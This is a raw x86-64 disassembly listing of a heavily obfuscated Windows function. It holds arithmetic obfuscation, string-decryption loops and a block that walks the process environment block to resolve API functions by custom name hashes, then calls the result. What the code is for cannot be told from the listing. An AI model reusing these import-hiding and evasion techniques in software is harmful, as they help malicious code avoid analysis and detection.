imul rax, qword [r12 + rcx*8]
imul rax, r9
sub rax, rbx
xor rsi, rax
jmp 0x140298ee6
movabs rax, 0xaaaaaa1ab6b2774f
mov rcx, r9
xor rcx, rax
movabs rax, 0x1206ed74bfab03
imul rcx, rax
movabs rdx, 0xfff17ca861d04133
mov rax, r8
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8a90a24593
imul r13, rax
movabs r10, 0x8113901053bf5b40
add r10, rcx
add r10, r13
movabs rax, 0x277cd7be6462a02f
mov rcx, r10
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rdi, r10
not rdi
lea rax, [0x14035f060]
imul rdi, qword [rax + rcx*8]
xor rdi, 0xffffffffe3e7a19f
lea ecx, [r9 + 0xd]
and cl, 0x3f
rol rdi, cl
movabs rax, 0xc7d5e37b751f54d1
xor r12, rax
movabs rax, 0x7c7a7dc68ae0ab2e
and r12, rax
imul rdi, r12
mov rcx, rdi
ror rcx, 0x3c
not rcx
movabs rax, 0x9b2de6b2ae388820
imul rcx, rax
mov rax, r10
sub rax, rdi
lea rdx, [rcx + rax*4]
mov cl, bl
and cl, 0x3f
ror rdx, cl
mov rax, rsi
mov rsi, rdx
imul rsi, rax
jmp 0x140298ee6
movabs rax, 0xf3243d8517ed539f
imul r9, rax
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0x62a5b61abce43fbe
mov rax, r11
imul rax, rdx
xor rax, r14
not rax
shl rax, cl
xor r8, rax
mov cl, dil
and cl, 0x3f
rol r8, cl
movabs rcx, 0x62a5b61abce43fbf
add rcx, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x9e5431bc041
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r8, rax
movabs rax, 0xffffc7a7ea760162
or r8, rax
mov rsi, qword [0x14035f070]
imul rsi, r14
sub rsi, rdi
mov rax, rbx
sub rax, r8
xor rsi, rax
movabs rax, 0xc7a7c6a6bb7e016f
xor rsi, rax
movabs rax, 0xcccccccccccccccd
mul r11
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, r11
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rsi
div rcx
mov rcx, rdx
mov rdx, r9
imul rdx, rdi
imul rdx, rsi
shr rdx, cl
mov rax, r10
sub rax, rdx
sub rax, r11
movabs r11, 0x7895894742c4d75
add r11, rax
xor r11, rbx
mov al, r10b
shl al, 2
lea ecx, [rax + r10]
add cl, cl
and cl, 0x3f
rol r11, cl
not r11
jmp 0x140298ee6
movabs rax, 0xaaaaaaaaaaaaaaab
mul r8
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r8
sub rcx, rax
mov rax, r9
imul rax, qword [0x14035f080]
lea rdx, [0x14035f060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r8
and r8b, 0x3f
mov cl, r8b
mov r8, rdx
ror r8, cl
imul r8, rdi
not rbx
imul rbx, r10
movabs rax, 0x7cd8a7de668f508e
imul rbx, rax
mov rax, r8
imul rax, r11
mov r11, rbx
xor r11, rax
imul rbx, qword [0x14035f060], 0xfffffffff38398ec
mov rdx, qword [0x14035f068]
sub rbx, rdx
mov al, r11b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140298ed3
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rbx, cl
movabs rax, 0x62a5b61abce43fbf
add rbx, rax
add rbx, r13
movabs rax, 0xff055d7b96c45a43
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r8, r11
lea rax, [0x14035f060]
imul r8, qword [rax + r14*8]
not rdi
imul rdi, r9
imul rdi, rbx
imul rdi, rsi
movabs rcx, 0xf5ed7e879177109f
xor rcx, r10
not rcx
xor rcx, rdi
sub rcx, r8
call fcn.14028ff88
mov qword [0x14036d9c0], rax
xor r12d, r12d
mov dword [rbp + 0x38], r12d
mov dword [rbp + 0x38], 0xfbcd19fd
mov eax, dword [rbp + 0x38]
add eax, 0xf2045aa8
xor eax, 0xeffd8408
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x353b9c0e
xor eax, 0xb7ce2d9e
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x787ba7de
add eax, ecx
xor eax, 0x27f382a2
add eax, 0x5acb0dd9
xor eax, 0x809c37bb
lea edx, [rcx - 0x7fa1e7cb]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xa7c80fbe
sub edx, eax
mov ecx, dword [0x14035f030]
xor ecx, 0x5837f041
add ecx, 0x176e79a7
add ecx, edx
xor ecx, 0xda601f3e
mov dword [rbp + 0x38], ecx
movsxd rdx, ecx
mov r13, qword [rbp + 0x550]
mov rcx, r13
call fcn.14001fb48
nop
mov dword [rbp + 0x38], r12d
mov qword [rbp + 0x108], r12
movabs rax, 0x954fd50709e9b4c2
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x110], r12
movabs rax, 0x645c7f58ff1fe92c
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], r12
movabs rax, 0xa722e52d5314561d
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x120], r12
movabs rax, 0xb6ff563d28441105
mov qword [rbp + 0x120], rax
movabs rcx, 0xf33a52b1f9e85783
add rcx, qword [rbp + 0x120]
movabs rax, 0x7cd5366253058bec
xor rcx, rax
mov rdi, qword [0x14035f058]
sub rcx, rdi
mov r10, qword [0x14035f050]
sub rcx, r10
movabs rax, 0x7120fb80b2acb7fb
add rcx, rax
movabs rax, 0xf8f8cd9c8fcaa0cf
xor rcx, rax
mov r9, qword [0x14035f048]
sub rcx, r9
movabs rax, 0x87d654bf11c5ae23
add rcx, rax
mov rsi, qword [0x14035f040]
add rcx, rsi
movabs rax, 0x5a9179acfef37637
xor rcx, rax
movabs rax, 0x5f627dc5c35da262
sub rcx, rax
movabs rax, 0x223b3cd46469fa2d
xor rcx, rax
movabs rdx, 0xb483ce48b0b15745
add rdx, rcx
add rdx, rsi
not rdx
movabs rcx, 0x13cce94ac7e79fb2
mov r11, qword [0x14035f038]
mov rax, r11
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b53818604d
mov rbx, qword [0x14035f030]
mov rcx, rbx
xor rcx, rax
movabs r14, 0xe0b56d7d975dbd07
add r14, rdx
add r14, rcx
movabs rax, 0x2dced3f4e53dc88a
xor r14, rax
mov qword [rbp + 0x120], r14
movabs rcx, 0xf33a52b5e8a88103
add rcx, qword [rbp + 0x118]
movabs rax, 0xa655366253097aad
xor rcx, rax
sub rcx, rdi
sub rcx, r10
movabs rax, 0xedf047f591f8882
sub rcx, rax
movabs rax, 0xf8f8cd98914f76a9
xor rcx, rax
sub rcx, r9
movabs rax, 0x47d654b9bb2fd5ce
add rcx, rax
add rcx, rsi
movabs rax, 0x5a9179a882a046e1
xor rcx, rax
movabs rax, 0x5f627dc6d8088db4
sub rcx, rax
movabs rax, 0xd63b3cd26cea6f6c
xor rcx, rax
movabs rdx, 0x3483ce44dd786ee7
add rdx, rcx
add rdx, rsi
not rdx
movabs rcx, 0x13cce94ad7a2a058
mov rax, r11
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b5285d5fa7
mov rcx, rbx
xor rcx, rax
movabs r8, 0xe0b56d8d421b632d
add r8, rdx
add r8, rcx
movabs rax, 0xe86ba332048f4168
xor r8, rax
mov qword [rbp + 0x118], r8
movabs rcx, 0xf33a52b5f66d5a03
add rcx, qword [rbp + 0x110]
movabs rax, 0x7f55366253098871
xor rcx, rax
sub rcx, rdi
sub rcx, r10
movabs rax, 0xedf047f5948d70d
sub rcx, rax
movabs rax, 0xf8f8cd9883538a45
xor rcx, rax
sub rcx, r9
movabs rax, 0xc7d654b9a87f213e
add rcx, rax
add rcx, rsi
movabs rax, 0x5a9179a872ebbf5d
xor rcx, rax
movabs rax, 0x5f627dc6d46abe50
sub rcx, rax
movabs rax, 0xe3b3cd2660794c5
xor rcx, rax
movabs rdx, 0x3483ce44d013f7d6
add rdx, rcx
add rdx, rsi
not rdx
movabs rcx, 0x13cce94ad7d9b3bc
mov rax, r11
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b528264c43
mov rcx, rbx
xor rcx, rax
movabs rax, 0xe0b56d8d79642311
add rdx, rax
add rdx, rcx
movabs rax, 0xc78b90fd2d3dda34
xor rdx, rax
mov qword [rbp + 0x110], rdx
movabs rcx, 0xf33a52b1f445cd83
add rcx, qword [rbp + 0x108]
movabs rax, 0xf2d536625305864a
xor rcx, rax
sub rcx, rdi
sub rcx, r10
movabs rax, 0x7120fb80b2bd9f99
add rcx, rax
movabs rax, 0xf8f8cd9c9583b4f7
xor rcx, rax
sub rcx, r9
movabs rax, 0x87d654bf196bd076
add rcx, rax
add rcx, rsi
movabs rax, 0x5a9179ad0560db9f
xor rcx, rax
movabs rax, 0x5f627dc5c4fccb7a
sub rcx, rax
movabs rax, 0x723b3cd4673b6c41
xor rcx, rax
movabs rax, 0xb483ce48b62c6f7f
add rcx, rax
add rcx, rsi
not rcx
movabs rax, 0x13cce94ac7d1158a
xor r11, rax
sub rcx, r11
movabs rax, 0xec3316b5382eea75
xor rbx, rax
movabs rax, 0xe0b56d7d80bf0adf
add rcx, rax
add rcx, rbx
movabs rax, 0x6236b4ac7f0afc12
xor rcx, rax
mov qword [rbp + 0x108], rcx
mov r9d, dword [rbp + 0x558]
and rcx, rdx
mov eax, r12d
cmp r9, rcx
sete al
and r8, r14
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x118], r12
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x108], r12
cmp rax, r8
jne 0x140299415
mov r15, qword [rbp - 0x70]
lea rdx, [r9 + r15]
or rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rdx + r8], r12b
jne 0x1402993ff
mov rcx, r13
call fcn.14001f728
jmp 0x14029960a
xor eax, eax
mov byte [rbp + 0x558], al
mov dword [rbp + 0x128], 0xcb5ab439
mov dword [rbp + 0x12c], 0x63495bb0
mov r15, r12
lea r13d, [rax + 8]
xor edx, edx
mov rax, r15
movabs rcx, 0x13cce94adbcbefc8
div rcx
add dl, 0x33
mov r14b, dl
sar r14b, 7
or r14b, dl
mov sil, r14b
shl sil, 6
mov al, r14b
sar al, 2
or sil, al
mov r8b, r14b
sar r8b, 5
mov al, r14b
shl al, 3
or r8b, al
mov r10b, r14b
sar r10b, 3
mov al, r14b
shl al, 5
or r10b, al
mov dl, r14b
sar dl, 4
mov al, r14b
shl al, 4
or dl, al
mov r9b, r14b
add r9b, r9b
mov r11b, r14b
sar r11b, 7
mov bl, r14b
not bl
mov dil, byte [rbp + r15 + 0x128]
sub dil, sil
sub dil, 2
mov eax, 4
sub al, sil
xor dil, al
mov cl, r14b
shl cl, 7
mov al, r14b
sar al, 1
or cl, al
sub dil, cl
sub dil, byte [0x14035f050]
sub dil, byte [0x14035f058]
sub dil, 0x3f
add dil, sil
add dil, r14b
lea eax, [rsi + 7]
add al, r14b
xor dil, al
sub dil, r8b
sub dil, r14b
sub dil, byte [0x14035f048]
sub dil, 0x50
mov rcx, qword [0x14035f040]
add dil, sil
add dil, cl
mov al, dl
sub al, r8b
add al, sil
add al, r14b
xor dil, al
mov al, r14b
sub al, dl
xor al, r14b
sub dil, al
sub dil, r10b
add dil, 0x30
add dil, r14b
mov al, r11b
or al, r9b
sub al, 0x50
add al, r10b
xor dil, al
add sil, sil
add dil, sil
sub dil, r9b
add cl, 0x51
add dil, cl
not dil
or r11b, r14b
sub dil, r11b
mov al, bl
xor al, byte [0x14035f038]
sub dil, al
mov al, r14b
xor al, byte [0x14035f030]
add dil, al
mov al, r14b
xor al, 0x40
sub dil, al
movsx eax, r14b
movsx ecx, bl
imul ecx, eax
xor cl, dil
mov byte [rbp + r15 + 0x128], cl
inc r15
cmp r15, r13
jb 0x140299438
lea rax, [rbp + 0x128]
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], r13
mov rdx, qword [rbp + 0x1b0]
or rbx, 0xffffffffffffffff
mov r8, rbx
mov r13, qword [rbp + 0x550]
inc r8
cmp byte [rdx + r8], r12b
jne 0x1402995c3
mov rcx, r13
call fcn.14001f728
nop
mov rcx, qword [rbp + 0x1b0]
test rcx, rcx
je 0x140299606
mov rax, r12
cmp qword [rbp + 0x1b8], r12
jbe 0x140299606
mov byte [rcx + rax], r12b
inc rax
cmp rax, qword [rbp + 0x1b8]
jae 0x140299606
mov rcx, qword [rbp + 0x1b0]
jmp 0x1402995ed
mov r15, qword [rbp - 0x70]
mov byte [rsp + 0x60], r12b
mov byte [rsp + 0x60], 0x23
mov al, byte [rsp + 0x60]
add al, 0x10
xor al, 0x16
sub al, byte [0x14035f050]
sub al, byte [0x14035f058]
sub al, 0x73
xor al, 0xb0
sub al, byte [0x14035f048]
mov rcx, qword [0x14035f040]
sub al, 0x1a
add al, cl
xor al, 0xa7
add al, 0x79
xor al, 0xa6
mov dl, byte [0x14035f030]
xor dl, 0xbb
sub dl, al
mov al, byte [0x14035f038]
xor al, 0x44
sub dl, al
sub dl, cl
add dl, 0x4e
xor dl, 0xac
mov byte [rsp + 0x60], dl
mov rcx, r13
call fcn.14000c0f8
nop
mov byte [rsp + 0x60], r12b
mov edx, dword [rsp + 0x70]
add rdx, r15
mov r8, rbx
inc r8
cmp byte [rdx + r8], r12b
jne 0x14029967c
mov rcx, r13
call fcn.14001f728
mov byte [rsp + 0x61], r12b
mov byte [rsp + 0x61], 0x9f
mov dl, byte [rsp + 0x61]
sub dl, 0x56
xor dl, 0xb0
sub dl, byte [0x14035f050]
sub dl, byte [0x14035f058]
sub dl, 0x42
xor dl, 0xac
sub dl, byte [0x14035f048]
mov rax, qword [0x14035f040]
add dl, 0x29
add dl, al
xor dl, 0x30
sub dl, 0x16
xor dl, 0x7c
sub al, 0x58
add dl, al
not dl
mov al, byte [0x14035f038]
xor al, 0xae
sub dl, al
mov al, byte [0x14035f030]
xor al, 0x51
sub al, 0x11
add dl, al
xor dl, 0xe
mov byte [rsp + 0x61], dl
mov rcx, r13
call fcn.14000c0f8
nop
mov byte [rsp + 0x61], r12b
mov edx, dword [rsp + 0x68]
add rdx, r15
inc rbx
cmp byte [rdx + rbx], r12b
jne 0x140299706
mov r8, rbx
mov rcx, r13
call fcn.14001f728
mov ebx, r12d
mov edi, 0xe55163fa
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r15d, 8
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, r15w
test ebx, ebx
je 0x140299793
psrldq xmm0, 8
movq r8, xmm0
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0xe17451b6
jmp 0x140299785
movsx edx, byte [r8]
mov ecx, edx
imul ecx, edx
add ecx, 0x31
xor ecx, 0x4764996c
xor edx, r9d
mov r9d, ecx
imul r9d, edx
add r8, 2
cmp r8, r10
jne 0x140299765
cmp r9d, ebx
jne 0x1402998a6
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x1402998a6
mov esi, dword [r11 + 0x18]
test esi, esi
je 0x1402998a6
mov r13d, dword [r11 + 0x20]
dec esi
lea rdx, [rsi*4]
add rdx, r13
mov r10d, dword [rdx + r9]
add r10, r9
mov r14d, 0xe17451b6
jmp 0x140299800
movsx r8d, dl
mov edx, r8d
imul edx, r8d
add edx, 0x31
xor edx, 0x4764996c
xor r8d, r14d
mov r14d, edx
imul r14d, r8d
mov dl, byte [r10]
inc r10
test dl, dl
jne 0x1402997e2
cmp r14d, edi
je 0x14029981b
xor r12d, r12d
test esi, esi
jne 0x1402997c6
jmp 0x1402998a6
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + rsi*2]
mov r8d, dword [rdx + rax*4]
add r8, r9
cmp r8, r11
jbe 0x1402998ae
lea rax, [rcx + r11]
cmp r8, rax
jae 0x1402998ae
mov ebx, 0xe17451b6
mov edi, ebx
jmp 0x140299865
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, 0x31
xor eax, 0x4764996c
xor ecx, ebx
mov ebx, eax
imul ebx, ecx
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x14029984b
inc r8
xor r12d, r12d
jmp 0x14029988e
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, 0x31
xor eax, 0x4764996c
xor ecx, edi
mov edi, eax
imul edi, ecx
inc r8
mov al, byte [r8]
test al, al
jne 0x140299874
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140299739
mov rcx, qword [rbp - 0x70]
call r8
movabs rsi, 0xe6f36f34d092a66f
movabs rax, 0xb094c9ce30000000
movabs r14, 0xf44194c592f30acd
mov rbx, qword [0x14035f088]
imul rbx, rax
movabs rax, 0xcd896ff750000000
xor rbx, rax
mov r13, rbx
imul r13, rsi
movabs r9, 0xaaaaaaaaaaaaaaab
mov rax, r9
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r8, rbx
and r8, rsi
lea r10, [0x14035f060]
imul r8, qword [r10 + rcx*8]
movabs rax, 0x6cbf55758b9469e2
imul r8, rax
movabs rax, 0x3afcc01da0e9fd30
xor r8, rax
shr r8, 3
movabs rax, 0xffffff57ccfa8e59
mov rdi, rbx
imul rdi, rax
sub rdi, 0x4744a96
xor rdi, r8
xor rdi, qword [0x14035f060]
mov rax, r8
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bc5493178
imul rax, rcx
not rax
and rdi, rax
ror rdi, 0x26
shr rdi, 8
movabs r12, 0x190c90cb2f6d5991
lea rcx, [rbx + r12]
xor rcx, 0xfffffffffbc73a75
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x9f4ce2a1282f7f30
mov r11, qword [r10 + rcx*8]
imul r11, rax
sub r11, r12
movabs rcx, 0xe27bebec2532738c
mov rax, r8
imul rax, rcx
xor r11, rax
shr r11, 0x1f
not r11
mov r15, r11
xor r15, rbx
lea rcx, [r11 + r12]
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r11b
movzx ecx, byte [r10 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x69
mov eax, 0x8000003f
and ecx, eax
jge 0x140299a26
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r8
imul rdx, r15, 0xfffffffffb8bb56a
mov qword [rbp + 0x558], rdx
lea r9, [rdx + r12]
mov r10, r11
imul r10, rdi
sub r10, r9
xor r10, r14
movzx r12d, r9b
mov ecx, r12d
xor ecx, 6
and ecx, 0xf
and ecx, eax
jge 0x140299a67
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r10, cl
movabs rax, 0x1806c5b63faa64f6
imul r15, rax
movabs rax, 0x36f7e715d2fdbdf
add r15, rax
xor r10, r15
mov rax, r9
sub rax, qword [0x14035f078]
xor r10, rax
xor r10, r8
xor r10, rbx
mov rax, r10
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x140299df3
sub rax, 1
je 0x140299cb6
sub rax, 1
je 0x140299bc1
cmp rax, 1
jne 0x140299ea7
mov r14, r9
imul r14, r11
movabs rax, 0xd152a797666bb369
add rax, r10
xor r14, rax
ror r14, 0x1e
shr r14, 0xc
xor r14, rbx
not r14
movabs rcx, 0x835727b83f7e
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0x198e15b343ce4669
xor rdx, rax
movzx eax, r14b
movzx ecx, r10b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97f58d381
sub rax, r11
mov r11, rdx
xor r11, rax
mov rcx, r11
imul rcx, rsi
mov eax, 0xae83016b
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14035f060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rsi, 0xf070dddec9544ee8
sub rsi, r14
shr rsi, cl
movabs rax, 0x1914b5538b74cb39
mov rcx, qword [rbp + 0x558]
add rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
imul rax, qword [r12 + rcx*8]
imul rax, r10
sub rax, rdi
xor rsi, rax
jmp 0x140299ea7
movabs rax, 0xaaaaaa1aae9afc55
mov rcx, r10
xor rcx, rax
movabs rax, 0x1206ed6c972019
imul rcx, rax
movabs r9, 0xfff17ca879f8ca29
mov rax, r8
xor rax, r9
sub rcx, rax
movabs rax, 0xffff7e8a888ace89
imul rdx, rax
movabs r11, 0x8c6cca22384c6b22
add r11, rcx
add r11, rdx
movabs rax, 0x277cd7be7c4a2b35
mov rcx, r11
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r11
not r9
lea rax, [0x14035f060]
imul r9, qword [rax + rcx*8]
xor r9, 0xfffffffffbcf2a85
lea ecx, [r10 + 0x17]
and cl, 0x3f
rol r9, cl
movabs rax, 0xcfa59ebf6d37dfcb
xor r13, rax
movabs rax, 0x7c7a7dc692c82034
and r13, rax
imul r9, r13
mov rcx, r9
ror rcx, 5
not rcx
movabs rax, 0x9b2de6b2ce9aa448
imul rcx, rax
mov rax, r11
sub rax, r9
lea rdx, [rcx + rax*4]
mov cl, dil
and cl, 0x3f
ror rdx, cl
mov rax, rsi
mov rsi, rdx
imul rsi, rax
jmp 0x140299ea7
movabs rax, 0xc2651a8ca4f23f19
imul r10, rax
movabs rax, 0xd79435e50d79435f
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0x190c90cb2f6d5990
mov rax, rbx
imul rax, rdx
xor rax, r14
not rax
shl rax, cl
xor r8, rax
and r12d, 0x8000003f
jge 0x140299d10
dec r12d
or r12d, 0xffffffc0
inc r12d
mov cl, r12b
rol r8, cl
movabs rcx, 0x190c90cb2f6d5991
add rcx, r10
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xffffef34d092a66f
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r8, rax
movabs rax, 0xffffc7a7f25e8a78
or r8, rax
mov rsi, qword [0x14035f070]
imul rsi, r14
sub rsi, r9
mov rax, rdi
sub rax, r8
xor rsi, rax
movabs rax, 0xc7a7c6a6a3568a75
xor rsi, rax
movabs rax, 0xcccccccccccccccd
mul rbx
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rbx
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rsi
div rcx
mov rcx, rdx
mov rdx, r10
imul rdx, r9
imul rdx, rsi
shr rdx, cl
mov rax, r11
sub rax, rdx
sub rax, rbx
movabs rbx, 0x78958946c04c66f
add rbx, rax
xor rbx, rdi
mov cl, r11b
shl cl, 4
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x140299ea7
movabs rax, 0xaaaaaaaaaaaaaaab
mul r8
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r8
sub rcx, rax
mov rax, r10
imul rax, qword [0x14035f080]
lea rdx, [0x14035f060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r8
and r8b, 0x3f
mov cl, r8b
mov r8, rdx
ror r8, cl
imul r8, r9
not rdi
imul rdi, r11
movabs rax, 0x7cd8a7de7ea7db94
imul rdi, rax
mov rax, r8
imul rax, rbx
mov rbx, rdi
xor rbx, rax
imul rdi, qword [0x14035f060], 0xfffffffffb8bb56a
mov rdx, qword [0x14035f068]
sub rdi, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140299e90
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rdi, cl
movabs rax, 0x190c90cb2f6d5991
add rdi, rax
add rdi, qword [rbp + 0x558]
movabs rax, 0xff055d7b8eecd159
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r8, rbx
lea rax, [0x14035f060]
imul r8, qword [rax + r14*8]
not r9
imul r9, r10
imul r9, rdi
imul r9, rsi
movabs rcx, 0xf5ed7e87895f9b85
xor rcx, r11
not rcx
xor rcx, r9
sub rcx, r8
call fcn.14028fdfc
mov qword [0x14036d9a0], rax
xor r8d, r8d
mov dword [rbp + 0x3c], r8d
mov dword [rbp + 0x3c], 0x20562eb5
mov eax, dword [rbp + 0x3c]
add eax, 0xe0bd1436
xor eax, 0xa98b72c1
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
add eax, 0x20f839c5
xor eax, 0x915a912a
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x4eefe7fd
add eax, ecx
xor eax, 0x43a8cefc
add eax, 0x6e2a6935
xor eax, 0xbcd0652e
mov edx, dword [0x14035f030]
xor edx, 0x207d0d5b
sub edx, eax
mov eax, dword [0x14035f038]
xor eax, 0xdf82f2a4
sub edx, eax
sub edx, ecx
sub edx, 0x691e20f5
xor edx, 0x13f2944c
mov dword [rbp + 0x3c], edx
movsxd rcx, edx
mov rax, qword [rbp + 0x550]
mov rax, qword [rax + 0x10]
mov dword [rbp + 0x3c], r8d
cmp rax, rcx
jae 0x14029a02f
mov dword [rbp + 0x40], r8d
mov dword [rbp + 0x40], 0xcd880a27
mov eax, dword [rbp + 0x40]
add eax, 0xe25aeeb6
xor eax, 0x840b745f
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x5f0c9fca
xor eax, 0x8fb63f40
sub eax, dword [0x14035f048]
mov rdx, qword [0x14035f040]
add eax, 0x8cbe21e4
add eax, edx
xor eax, 0x41d0c1c2
add eax, 0x6e4876cf
xor eax, 0xe8016aff
mov ecx, dword [0x14035f030]
xor ecx, 0x207695f1
sub ecx, eax
mov eax, dword [0x14035f038]
xor eax, 0xdf896a0e
sub ecx, eax
sub ecx, edx
lea eax, [rcx + 0x1f3209fb]
xor eax, 0xd8afd2e
mov dword [rbp + 0x40], eax
mov dword [rbp + 0x40], r8d
jmp 0x14029a0af
mov dword [rbp + 0x44], r8d
mov dword [rbp + 0x44], 0x270dd744
mov eax, dword [rbp + 0x44]
add eax, 0x9d819f36
xor eax, 0x348b2f86
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
add eax, 0x21c1ec24
xor eax, 0xd5a2f3fe
sub eax, dword [0x14035f048]
mov rdx, qword [0x14035f040]
add eax, 0x2a331d4f
add eax, edx
xor eax, 0x9058a070
add eax, 0x5d072469
xor eax, 0x8670398a
mov ecx, dword [0x14035f030]
xor ecx, 0x2189fb2f
sub ecx, eax
mov eax, dword [0x14035f038]
xor eax, 0xde7604d0
sub ecx, eax
sub ecx, edx
lea eax, [rcx + 0x478047e9]
xor eax, 0xf1b2d230
mov dword [rbp + 0x44], eax
mov dword [rbp + 0x44], r8d
add rsp, 0x608
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret